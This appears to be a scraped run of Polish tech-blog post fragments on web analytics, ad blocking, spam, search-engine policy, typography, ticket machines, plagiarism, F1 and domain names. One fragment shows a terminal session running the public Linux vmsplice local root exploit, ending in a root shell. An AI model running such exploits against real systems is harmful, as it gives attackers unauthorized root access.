A jak uczcić Pole Position Kubicy? Ja eksperymentalnie nabyłem drogą kupna litewskie piwo pszeniczne Švyturys.

Švyturys

Wówczas jeszcze nie udało mi się zreprodukować tego zachowania – najwyraźniej działało to tylko na małej próbce wywołań. Wygląda na to, że okres próbny przeszedł pomyślnie, bo dzisiaj zauważyłem kod Gomeza na stronie głównej Allegro. Rozwiązanie działa bardzo podobnie do rodzimego Gemiusa czy Google Analytics, ale rzut oka na opis produktów pod szyldem Gomeza wskazuje, że są one raczej nastawione na monitorowanie wydajności aplikacji webowych. Chodzi na przykład o takie metryki jak czas ładowania strony z punktu widzenia użytkownika. Jest to informacja bardzo trudna do uzyskania z logów serwera WWW, natomiast łatwo dostępna z poziomu Java Scriptu.

Monitorowanie wydajności aplikacji to dobra rzecz, choć szczerze mówiąc nigdy nie miałem dużych problemów z szybkością ładowania stron Allegro. Gorzej natomiast ze stabilnością samego serwisu – od czasu sławetnego przejścia z MySQL na Oracle serwis ma częste awarie. Jeśli Gomez pomoże im w poprawieniu dostępności to będzie miło.

Niemniej, jako dość przewrażliwiony na web bugs i nadmiarowe cookies paranoik, osobiście blokuję wszelkie Gemiusy, Analyticsy i inne śledzące wstawki przy pomocy Adblock Plus. Tak naprawdę, nie tylko śledzenie użytkowników mnie denerwuje, ale też widoczny wpływ na czas ładowania strony. Osobom o podobnych upodobaniach proponuję dodanie axf8.net do blacklisty.

Przy okazji wymienię też wybrane regułki Adblock Plusa jakie stosuję na popularnych polskich stronach:

• dot.wp.pl – web bug na stronach WP,
• reklama.www.wp.pl – reklama na WP,
• kropka.onet.pl – web bug na stronach Onetu,
• csr.onet.pl, reklama.onet.pl – reklama na Onecie,
• gemius.js, gemius_adnet.js, hit.gemius.pl – nasz lider w statystykach, bardzo popularny na stronach,
• hit.stat24.pl, hit.stat.pl – konkurenci Gemiusa,
• google-analytics.com – Google Analytics, bardzo popularne od czasu udostępnienia wersji darmowej dla każdego,
• adidm.idmnet.pl, ad.adocean.pl, adocean.pl/*ad.js – sieci reklamowe serwujące bannery,
• tradedoubler.com – agresywne programy partnerskie.

Powyższe regułki nie wyczerpują oczywiście zagadnienia optymalnej listy dla Adblocka, ale i tak wyraźnie polepszają szybkość działania wielu serwisów. Polecam!

Na szczęście jest już szybka poprawka działająca na żywym systemie (nie wymaga reinstalowania jądra).

Exploit w działaniu:

wanted@fafik: /crack/local-root-exp$ gcc exp.c -static -Wno-format
wanted@fafik: /crack/local-root-exp$ ./a.out
———————————–
 Linux vmsplice Local Root Exploit
 By qaaz
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ede000 .. 0xb7f10000
[+] root
root@fafik: /crack/local-root-exp# id
uid=0(root) gid=0(root)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),106(lpadmin),107(admin),1000(wanted)

From: Ann Sangolt <Fraser76@equitec.com>
To: mailer-daemon <mailer-daemon@…>
Subject: Job for you
Date: Mon, 28 Jan 2008 01:49:04 -0800

Hello!

Our company would like to offer you the following position: Assistant
Manager.

This is part-time home-based position. You'll need no money and no
specialskills to start. This job requires only few hours
during the week and isavailable on the whole territory of Poland. You can
easily combine it with yourmain employment.

If you are interested and would like to know more about our company and
positionoffered, please drop me a line to:
poland@inax-trading.com

Thank you.

Have a nice day.

Dla niezorientowanych, mailer-daemon@ to adres techniczny przypisany do programu obsługującego serwer pocztowy, a nie do konkretnej osoby. Zatem ciekawą pracę oferują dla naszego serwera, muszę zapytać czy jest zainteresowany stanowiskiem kierowniczym :-) Choć z drugiej strony, maszyna mogłaby wtedy się zbuntować i byłaby powtórka z Blade Runnera. Nieee, lepiej będę siedział cicho ;-)

Dzisiaj jednak już im piórka opadły. Znamienne jest to, że największy banner na stronie WWW SCO poświęcony jest… patchowi na ich komercyjne systemy uniksowe związanemu ze zmianą dat czasu letniego w USA i Kanadzie w 2007 roku. W tej chwili jest to zatem patch już delikatnie mówiąc leciwy. Dobrze to oddaje stan upadającej firmy – szkoda że tak długo to trwało i kosztowało tyle nerwów. Die SCO, die!

Strona domowa SCO i wielki banner

A propos pieczenia – dzisiaj cała rodzina pod przewodnictwem mojej kochanej Żony piekła pierniczki na Święta. Pyszne i trwałe, mogą leżeć nawet parę miesięcy, co dla geeków i studentów jest jak wiadomo pożądaną cechą jedzenia. Serdecznie polecam, w razie czego da się udostępnić przepis. Żony nie udostępniam.

Pierniczki świąteczne

Pomimo zdecydowanych sygnałów, że linki pozycjonujące, jako technika oszukująca wyszukiwarki są zabronione, w ciągu tych kilku miesięcy Google AdWords i AdSense nadal jednak zezwalały na reklamę firm zajmujących się takim pozycjonowaniem. Było to zagadnienie szeroko komentowane w wielu serwisach jako dwulicowość Google, bo z jednej strony walczy z biznesem pozycjonerskim w wynikach organicznych, a z drugiej zezwala na reklamy tych samych firm w AdWords/AdSense zarabiając pośrednio na tym interesie.

Dzisiaj Google mówi „B” w sprawie linków pozycjonujących. Późno, bo późno, ale okazuje się jednak, że Google robi tę właściwą rzecz, czyli usuwa reklamy niezgodne z regulaminem rezygnując z części dochodu. Jak stwierdził Matt Cutts w kilku komentarzach po rozmowie z zespołem zajmującym się reklamami sprawa została zauważona i regulamin będzie od teraz egzekwowany.

Jeszcze do niedawna wyniki wyszukiwania dla słowa kluczowego „PR8” (czyli PageRank 8) wyglądały następująco:

Zapytanie o PR8 przed zmianą

a dzisiaj wyglądają tak:

Zapytanie o PR8 dzisiaj

(Grafiki na licencji CC-BY-NC pochodzą z Google Blogoscoped)

To dobry krok dla Google i dobry dla użytkowników Internetu. Każdy zdaje sobie sprawę, że walka spamerów i operatorów wyszukiwarek to nieustający wyścig zbrojeń i że nie powstanie 100% skuteczna metoda odsiania zboża od plew. Uważam jednak, że zaprzestanie tej walki oznaczałoby totalne zaspamowanie wyszukiwarek i prowadziłoby do ich bezużyteczności. Linki organiczne dla większości zapytań nie różniłyby się jakością od reklam pokazywanych obok. Na górze znajdowałyby się linki tych, którzy najwięcej wydali na „promocję”, niezależnie od merytorycznej przydatności czy użyteczności strony. Miejmy nadzieję, że nie doczekamy tak ponurej wizji WWW.

Ulotka PKP Przewozy Regionalne

Po zajrzeniu na ostatnią stronę ulotki znajdujemy tam reklamę Plus GSM, a na niej drobnym druczkiem taki oto kwiatek:

Drobny druczek z reklamy Plusa

Znajdujemy tam zdanie: „50 godzin na rozmowy w tary?e Elastyczna 300…”, gdzie w środku słowa „taryfie” wkradł się znak zapytania. Podobne byki zdarzają się od czasu do czasu przy drukowaniu polskich znaków diakrytycznych, ale w tym akurat wypadku są one w porządku.

Ogłaszam zatem mały konkurs dla Czytelników – wyjaśnienie zagadki tajemniczego pytajnika :-) Nagrodą jest piwo albo inny wybrany trunek podczas najbliższego spotkania.

Rozwiązanie: chodzi o ligatury. Niektóre kombinacje liter są w tradycyjnej typografii łączone w jeden znak (glif) ze względów estetycznych. Na przykład, wydrukowanie obok siebie liter fi (tak jak w wyrazie „taryfie”) powoduje nieprzyjemne zlewanie kropki nad i z końcówką f. Lepiej jeśli profesjonalista zaprojektuje w foncie eleganckie ligatury, a program DTP je wykorzysta w druku. W praktyce jednak wiele fontów nie zawiera ligatur; ponadto popularne oprogramowanie jak MS Office również ich nie obsługuje.

W opisywanym przypadku, najwyraźniej doszło do skopiowania tekstu pomiędzy różnymi aplikacjami albo do zmiany fontu – oryginalny tekst zawierał ligaturę fi, a w docelowym systemie takowej nie było i została zastąpiona pytajnikiem. Oto i cała zagadka.

Gdybyśmy chcieli w swoich dokumentach skorzystać z ligatur, warto polecić system składu LaTeX, który domyślnie je wstawia.

Przykłady ligatur

Automat biletowy SKM

Sam pomysł zainstalowania automatów biletowych jest jak najbardziej godny pochwały. W większości zachodnich miast nie uświadczymy już kiosków z biletami, bo utrzymanie pracowników tych punktów kosztuje więcej niż sprzęt. Z pewnością początkowo koszt takich urządzeń jest wysoki, dopóki system się nie dotrze, ale w długim okresie automaty oszczędzają dużo czasu i są bardzo praktyczne.

Na przystankach SKM zamontowano automaty biletowe niemieckiej firmy Elgeba Gerätebau GmbH (zaskakujące, że posiadają polską wersję strony WWW). Są całkiem solidne, wyposażone w ekran dotykowy, akceptują monety i banknoty, wydają resztę – czyli robią wszystko czego od nich oczekujemy.

Teraz parę gorzkich słów o wadach urządzeń. Pierwsza sprawa to fakt, że jeszcze nie udało mi się nigdy zapłacić większym nominałem niż 10 zł. Włożony banknot dwudziestozłotowy w kilku automatach był zwracany ze względu na brak reszty. Wydaje mi się mało prawdopodobne, aby tej reszty faktycznie nie było – raczej podejrzewam jakieś dziwne ograniczenie w konfiguracji.

Najcięższe zarzuty dotyczą jednak użyteczności i wykonania interfejsu graficznego. GUI nie było zaprojektowane przez specjalistę od użyteczności. Rzuca się w oczy bałagan opcji, nadmiar przycisków, zły dobór kolorów. Można to było nieco lepiej zaprojektować, szczególnie sposób wybierania stacji docelowej z pełnej listy.

Zgodnie z europejskimi trendami, interfejs jest dostępny w dwóch językach obcych – angielskim i niemieckim. Naciśnięcie flagi faktycznie przełącza nas na odpowiednie tłumaczenie.

Angielski interfejs

Co się jednak dzieje jeśli wybierzemy opcję Help? Ukazuje się tekst pomocy po polsku! Idiotyzm kompletny, zabrakło dosłownie godziny pracy tłumacza aby przetłumaczyć parę ekranów pomocy. Pod spodem oczywiście konsekwentnie mamy przyciski Main Menu i Previous; cóż z tego jeśli środek jest zupełnie nieczytelny dla obcokrajowca.

Angielski interfejs – opcja Help

Grzebiąc w pomocy znalazłem też schematyczną mapkę sieci SKM. Niestety została ona wykonana fatalnie. Nazwy miejscowości są prawie nieczytelne. Osoby z Trójmiasta mapki nie potrzebują, bo znają ją na pamięć, ale dla turystów jest to nieoceniona pomoc. Szkoda że została spaprana. Poniższe zdjęcie nie jest słabej jakości, mapka faktycznie tak wygląda.

Mapka sieci SKM, proszę nie regulować monitora

Reasumując, pomysł dobry, wykonanie takie sobie. Na szczęście oprogramowanie można na pewno łatwo zaktualizować, natomiast sprzęt wydaje się solidny. Oby SKM wzięła to sobie do serca.

Bezczelność i świadome łamanie prawa autorskiego były tak dalece posunięte, że po wytknięciu plagiatów, Interia kasowała tylko te zacytowane artykuły, pozostawiając masę innych, splagiatowanych.

Z ostatnich informacji wynika, że Trufla została oficjalnie przeproszona i usunięto wszystkie przepisy splagiatowane z jej serwisu. Wygląda na to, że zniknęły również artykuły skopiowane ze strony Hortexu. I w ten sposób serwis, który miał być według słów Marcina Hajka, dyrektora sektora Komunikacja i Społeczności w Interii, szybko zapełniony „kontentem” (cokolwiek by to słowo miało znaczyć), to dzisiaj sytuacja wygląda niezbyt imponująco. Gdybyśmy mieli ochotę na kurczaka, to mamy teraz wielki wybór w postaci dwóch przepisów oraz pięknie spapraną już na starcie reputację serwisu.

Więcej o sprawie można przeczytać na blogu Trufli (1), (2), iskanny, na forum Gazeta.pl i u Tomka Rychlickiego.

Na wypadek gdyby miał zginąć, kopia komentarza pracownika Interii zamieszczonego w artykule na antyweb.pl:

Marcin Hajek wrote:
Panowie, INTERIA to spółka, ktrego jednym z aktywów jest portal - i tak należy to postrzegać w kontekscie budowania wartości/marki firmy. Budowanie swiadomości marki nie polega jedynie na wypuszczaniu kolejnych produktów „w domenie” Interii. Chemy tworzyć nowe produkty, rozwijac je, pracować nad ich wizerunkiem i tworzyć z nich osobne brandy. Po co? Dokladnie w tym samym celu, w którym Coca-Cola produkuje Sprite’a a nie Coca-Cola: Citron :)
Co do Smakera - zgadzam sie, że kluczem do jego sukcesu jest zapelnienie go kontentem - ale o to juz zadbamy :)
Posted 07 lis 2007 at 12:04 am

P.S. Była krytyka Onetu, była Interii, więc WP powinna mieć się na baczności :-)

Polemika z informacją zamieszczoną u Was. Otóż nie mogłem umrzeć jak podano w dniu 15 maja 2007, gdyż jeszcze 9 czerwca br. odbywałem spotkanie z Czytelnikami w powszechnie podziwianym dworze Bella Vita (patrz internet, foto i tekst). Że nadal żyję przekonywująco świadczy fakt o mojej intensywnej pracy nad nową powieścią „Słoń z kości słoniowej” na co mogę przedstawić świadków. Pozdrawiam z M.P.Mokotów Dolny.
Zgłoszono: Aleksander Rowiński, 13:24, 26 paź 2007 (CEST)

Faktycznie, anonimowy redaktor tworzący artykuł w Wikipedii wprowadził fikcyjną datę śmierci, co można sprawdzić w archiwum. Błąd oczywiście został niezwłocznie naprawiony, a Panu Andrzejowi gratuluję dobrego humoru!

Tytuł posta zapożyczony od Marka Twaina.

Z punktu widzenia redaktora Wikipedii, poprawne uźródłowienie artykułu jest jednym z podstawowych kryteriów jego jakości. W przypadku źródeł internetowych kluczowym zagadnieniem jest stałość URL-i. Już w 1998 roku Tim Berners-Lee, twórca WWW, napisał świetny artykuł pt. „Cool URIs don't change” („Fajne URI się nie zmieniają”). Niestety redaktorzy wielu serwisów newsowych, w tym Onetu, mają tę zasadę w głębokim poważaniu. Często zmieniany jest schemat URL-i czy kasowane są archiwalne artykuły. Przykładowo: link do wiadomości z 21.09.2007, to samo w Google Cache. Więcej przykładów można znaleźć wpisując w wyszukiwarce Google takie wyrażenie: [site:wiadomosci.onet.pl inurl:item] albo sprawdzając bezpośrednio w wikipediowej wyszukiwarce.

W tej sytuacji wypadałoby przejrzeć inne artykuły w Wikipedii i poszukać innych martwych linków do Onetu. W większości wypadków można je łatwo zastąpić linkami do innych serwisów, niemniej jest to praca syzyfowa – do czasu kolejnej reorganizacji.

Piętno dla Onetu za dziury w bazie danych.

Aktualizacja: po zasygnalizowaniu problemu na liście dyskusyjnej wikipedystów wojtekk wysunął hipotezę, że problem martwych linków dotyczy tylko artykułów pochodzących z PAP-u. Umowa licencyjna podpisywana z niektórymi wydawcami ogranicza czas prezentowania archiwalnych artykułów do 30 dni. Wygląda na to, że faktycznie artykuły PAP-owskie znikają z bazy Onetu po 30 dniach. W związku z tym należałoby moim zdaniem wyświetlać bardziej opisowy komunikat niż „takiej strony nie ma”. Dla wikipedystów oznacza to konieczność bacznego sprawdzania źródeł i unikania onetowych artykułów pochodzących z PAP-u.

Niezwykły zbieg okoliczności mógłby spowodować, że wszyscy trzej ukończyliby mistrzostwa z takim samym dorobkiem punktowym, wystarczy że Räikkönen zająłby miejsce 2., Alonso – 4., Hamilton – 8. Wszyscy mieliby po 108 punktów. Mimo to, nie byłoby trzech mistrzów ex aequo, bo w myśl przepisów Räikkönen zdobyłby tytuł mając pięć zwycięstw w Grand Prix, podczas gdy obaj kierowcy McLarena mają ich po cztery.

Gdyby założyć, że walka odbędzie się tylko między Alonso i Hamiltonem istnieją cztery możliwe kombinacje miejsc w wyścigu na Interlagos, które doprowadziłyby do remisu i -- o ile się nie mylę – przyznania tytułu mistrza świata obydwu zawodnikom.

Poza Wielką Brytanią, w której Hamilton oczywiście robi furorę, w innych krajach cieszy się mniejszą sympatią. Główną przyczyną tego faktu jest wyraźne faworyzowanie tego zawodnika przez FIA i kierownictwo McLarena (obie instytucje są wszak zdominowane przez Brytyjczyków). Dlatego ja osobiście kibicuję Alonso, aby udało mu się powtórzyć sukces z poprzednich dwóch lat.

Na drugim planie będą emocje związane z naszym Robertem Kubicą – czy choć raz w tym sezonie będzie sprzyjało mu szczęście i samochód nie nawali? Dotychczasowa stabilność jego BMW pozostawia niestety wiele do życzenia.

Jak pisze The Register przedsiębiorczy Nowozelandczyk, który nie jest nawet prawnikiem, podważył zasadność przyznania tego patentu w USPTO. Brak faktycznej innowacji patentu był dla większości osób znających nieco głębiej technikalia WWW zupełnie oczywisty od dawna. Niemniej, nikt do tej pory nie powalczył skutecznie o podważenie jego sensu w myśl procedur USPTO. Aby patent był ważny w USA, nie może istnieć tzw. prior art, czyli starszy przykład wykorzystania tego samego pomysłu. Innymi słowy wynalazek musi być oryginalny.

Postępując zgodnie z procedurą, Peter Calveley znalazł zatem wcześniejsze przykłady wykorzystania technik opisanych w patencie jako „wynalazki” Amazon. Posłużył się w tym celu wcześniejszymi patentami z lat 1994 i 1996 na bardzo podobne idee, które tym samym nie mogły być pomysłem Amazona. Ponadto, jeden z redaktorów Newsweeka napisał w 1995 roku artykuł pt. „The End of Money?”, w którym dokładnie opisał sposób działania zakupów internetowych przy użyciu pojedynczego kliknięcia. Dzięki tym przykładom prior art USPTO odrzuciło 21 z 26 zastrzeżeń patentowych (claims), a status pozostałych nie jest jeszcze przesądzony.

Patentowym trollom mówię jedno: niech im ziemia lekką będzie :-)

Krótki adres i loginy umożliwia tworzenie ciekawych kombinacji. Np. gdyby uznać „@” jako odpowiednik „a”, to można założyć sobie e-mail szl@g.pl z zakamuflowanym słowem „szlag” (ten akurat tak mi się spodobał, że sobie zarezerwowałem :-)). Analiza słownika pokazuje jeszcze parę innych kandydatów na ciekawe i krótkie adresy e-mailowe:

$ egrep '^...?ag$' /usr/share/dict/polish | xargs
GUŁag alpag blag drag flag gułag klag knag kwag oflag plag posag powag szlag
sztag uwag zgag łamag

Należy wspomnieć, że domena krajowa .pl jest swego rodzaju ewenementem. Większość rejestratorów TLD wymaga obecnie co najmniej trzyznakowych subdomen. NASK był dość liberalny, co z jednej strony stawia w dość uprzywilejowanej pozycji cybersquatterów szczęśliwców, którzy zdobyli krótkie domeny z ograniczonej puli, z drugiej strony umożliwia sensowniejsze nadawanie nazw jeśli są faktycznie potrzebne. Trudno sobie wyobrazić dzisiaj aby Wirtualna Polska działała tylko pod adresem „w-p.pl” czy „wirtualnapolska.pl”.

Domena g.pl, podobnie jak inne jednoznakowe, szybko znalazła pierwszego właściciela; według archive.org była aktywna co najmniej od listopada 1999. Co ciekawe, właścicielem domeny od jej powstania aż do połowy 2007 roku była ta sama firma: Gamma Promotion. Zawartość strony podlegała kilku rewolucjom i wydaje się, że co najmniej przez kilka lat działał tam rzeczywisty serwis oferujący konta pocztowe (a nie na przykład strona zapchana reklamami, co często ma miejsce w przypadku domen kupowanych dla cybersquattingu). Nie jest jasne jakie były losy domeny w ostatnich miesiącach aż do momentu przejęcia przez Agorę; transakcja musiała niewątpliwie dotyczyć sporej kwoty.

Jak być może nie wszyscy wiedzą, z Google Apps może skorzystać każdy posiadacz własnej domeny. Możemy w ramach swojej domeny uruchomić pocztę Gmail, kalendarz, aplikacje biurowe, hosting stron WWW. Do wielu zastosowań małych firm czy osób prywatnych są to usługi wystarczające i co przyjemne – darmowe. Poczta Agory nie jest więc tutaj jakimś specjalnym wyjątkiem, choć obie strony musiały najpierw zawrzeć jakąś umowę w związku z przekraczającym darmowe limity zainteresowaniem usługą.

Agora wykorzystuje tutaj jeszcze jeden produkt Google – iGoogle. Użytkownicy g.pl mogą spersonalizować sobie stronę startową, choć to samo oferuje też oficjalna wersja iGoogle. Szkoda tylko, że już zabrakło energii na sprawdzenie fatalnego byka na stronie zakładania konta. Na przetważanie lepiej się nie godzić :-)

Agora będzie „przetważać”

Przy okazji nowej usługi z pewnym zdziwieniem zauważyłem jak wiele serwisów ostatnio otworzyła Agora. O ile wcześniejsza strategia internetowa wyraźnie skupiała się na promocji jednego adresu: gazeta.pl i działających w jego ramach podserwisów, to obecnie widać tendencję uruchamiania serwisów w osobnych domenach o nie zawsze mądrych nazwach. Agora chce najwyraźniej podbić rynek młodych internautów, którym być może portal gazeta.pl wydaje się skostniały i nudny. Oczywiście nowe serwisy nie oferują żadnych rewolucji – mają formę typowych tabloidów z dużą ilością grafiki i filmów, a nikłą zawartością merytoryczną i słabymi tekstami. Zaglądając na stronę główną g.pl z łatwością zauważymy odsyłacze do takich adresów jak plotek.pl, gwar.pl, widelec.pl, infomuzyka.pl, popcorner.pl, zczuba.pl, sport.pl. Osobie mało zorientowanej mogłoby się wydawać że g.pl agreguje wiadomości z zupełnie niezależnych serwisów, podczas gdy w rzeczywistości wszystkie one są kontrolowane przez jedną spółkę. Co gorsza – zakres tematyczny serwisów Agory niejednokrotnie się pokrywa. Prowadzi do to duplikowania treści i wprowadza zamieszanie.

Oprócz walki o „dzieci Neostrady” możliwe, że dodatkowym celem nowej strategii jest stworzenie wrażenia iż Agora nie ma tendencji monopolistycznych w polskim Internecie. Rozdrobnienie gazeta.pl na wiele serwisów nie firmowanych na pierwszy rzut oka przez Agorę jest środkiem do osiągnięcia tego celu. Wiele domen czeka w zanadrzu, niektóre o tak głupich nazwach jak pstryks.net czy toitamto.net. Pewnie kiedyś doczekają się premiery kolejnego serwisu o wszystkim i o niczym.

Co stanie się gdy wpiszesz „google” w Google? Otóż możesz zepsuć Internet ;-)

Drugi filmik to parodia antypirackich kampanii uskutecznianych ostatnio przez organizacje pokroju MPAA czy RIAA (nota bene same one używają nieetycznych metod do walki z tzw. piractwem).

Dla nieznających angielskiego zamieszczam moje tłumaczenie tekstów.

— Nie sądzę, że to prawda.
— Z całym szacunkiem John, jestem szefem działu informatyki i mam to z pewnego źródła. Jeśli wpiszecie „google” w Google możecie zepsuć Internet, więc proszę nawet nie próbujcie. Nawet dla żartu. Tu nie ma nic do śmiechu, możesz naprawdę zepsuć Internet.

Drugi klip:

Nie ukradłbyś torebki.
Nie ukradłbyś samochodu.
Nie ukradłbyś dziecka.
Nie zastrzeliłbyś policjanta a następnie ukradł jego kasku.
Nie załatwiłbyś się do jego kasku.
A potem nie wysłałbyś go pogrążonej w żałobie żonie policjanta.
I nie ukradłbyś go ponownie!
Ściąganie filmów to kradzież. Jeśli to robisz, poniesiesz konsekwencje!

Poniższy film z czeluści YouTube wykopał mój przyjaciel, Tomek Rychlicki. Polecam obejrzenie w całości.

Pozostaje pytanie, czy przestawione wydarzenia są faktycznie prawdziwe. Autor programu, Derren Brown, jest znany z pseudonaukowych eksperymentów demonstrujących kontrolę czyjegoś umysłu. Czy i ten eksperyment to fałszywka, czy też umiejętne wywieranie wpływu na osoby, które – wydawałoby się – z racji zawodu nie powinny być podatne na podprogową reklamę? Wybór należy do Ciebie!

Poniżej bardzo podobne nagranie tego samego autora, ale wykonane w amerykańskiej telewizji.

Sporo osób to zauważyło, a nagranie jest dosŧępne poniżej:

Większość komentarzy, zarówno autora nagrania jak też licznych wpisów na blogach sugeruje, że McDonald's uprawiał marketing podprogowy. Wielu ludzi uważa, że wyświetlenie reklamy na bardzo krótki, niezauważalny moment w podświadomy sposób wpłynie na nasze preferencje, np. po wyjściu z kina. Odpowiednie przepisy prawa w wielu krajach zabraniają tej formy reklamy. Faktem jest jednak, że brakuje przekonujących dowodów na to, że percepcja podprogowa w ogóle działa. Często cytowane jako dowód badanie Jamesa Vicary z 1957 roku było zwykłą fałszywką. Food Network wytłumaczyła to zdarzenie jako „zwykły błąd techniczny”. Czy tak jest rzeczywiście, czy może mamy tutaj do czynienia z drugim dnem, w postaci reklamy wirusowej? Zbyt często na „problemy techniczne” zrzuca się winę za coś, do czego nie wypada się przyznać.

Przede wszystkim, teorię o reklamie podprogowej McDonalda możemy włożyć między bajki z kilku powodów:

1. Nie wiadomo czy to zjawisko w ogóle działa na widza.
2. Najkrótszy możliwy czas emisji w TV to 1/50 sekundy, co jest na tyle długim czasem że większość ludzi z łatwością zauważa nietypową klatkę (zaprzeczenie definicji przekazu podprogowego, który powinien być niewidoczny dla widza).
3. Byłoby to ryzykowne pakowanie się w duże problemy prawne, ponieważ FCC zabrania w USA reklamy podprogowej.

A może to był marketing wirusowy? Celem tego działania jest zainteresowanie widzów czymś nietypowym i zaprzęgnięcie ich samych do rozpropagowania reklamy. Jest to bardzo skuteczne, tanie, ale wymaga stąpania po grząskim gruncie. Zbyt oczywista próba złapania internautów na marketingowy haczyk zostanie źle odebrana i wygeneruje sporo czarnego PR, ku rozpaczy zleceniodawcy.

W tym wypadku, marketing wirusowy – świadomy, czy też będący efektem błędu technicznego – zadziałał nieźle. Pojawiło się w sieci mnóstwo artykułów, wliczając w to oczywiście niniejszy, zajmujących się tematem i wymieniających nazwę i logo McDonalda, czego dowodzi ponad 600 000 rezultatów w Google na zapytanie [food network subliminal mcdonald]. Wszyscy analizują filmik po klatce i przelewają kilobajty tekstu o McDonaldzie. Kończę zatem bo mam nieodpartą pokusę na Big Maca.

Wielu już napisało o nowej reklamie Vision Express, ale nie widziałem do tej pory jej nagrania. Poprosiłem Huberta „Depesza” Lubaczewskiego o udostępnienie nagrania z TV, które zamieszczam poniżej.

Reklama robi furorę w środowisku internautów ze względu na dość charakterystyczny dobór liter na tablicy okulistycznej. Są to mianowicie znane skrótowce stosowane na wszelkiego rodzaju czatach i innych sytuacjach: OMG, WTF, STFU, PWN3D, UR A NOOB, LMAO, ROTF, KTHXBYE, :P. Szacunek dla agencji medialnej, która to wymyśliła! Pomysł pochodzi prawdopodobnie z projektu giftedtwisted dostępnego na cafepress.com.

screenshot 1

screenshot 2

Otrzymanego VOB-a przyciąłem, przeprowadziłem operację deinterlace i skonwertowałem na format OGM z użyciem kodeków Xvid i OGG Vorbis. Efekt: Vision_Express-OMG.ogm (3 MB). W razie trudności z obejrzeniem, polecam VLC. Poniżej również nagranie zamieszczone w Google Video: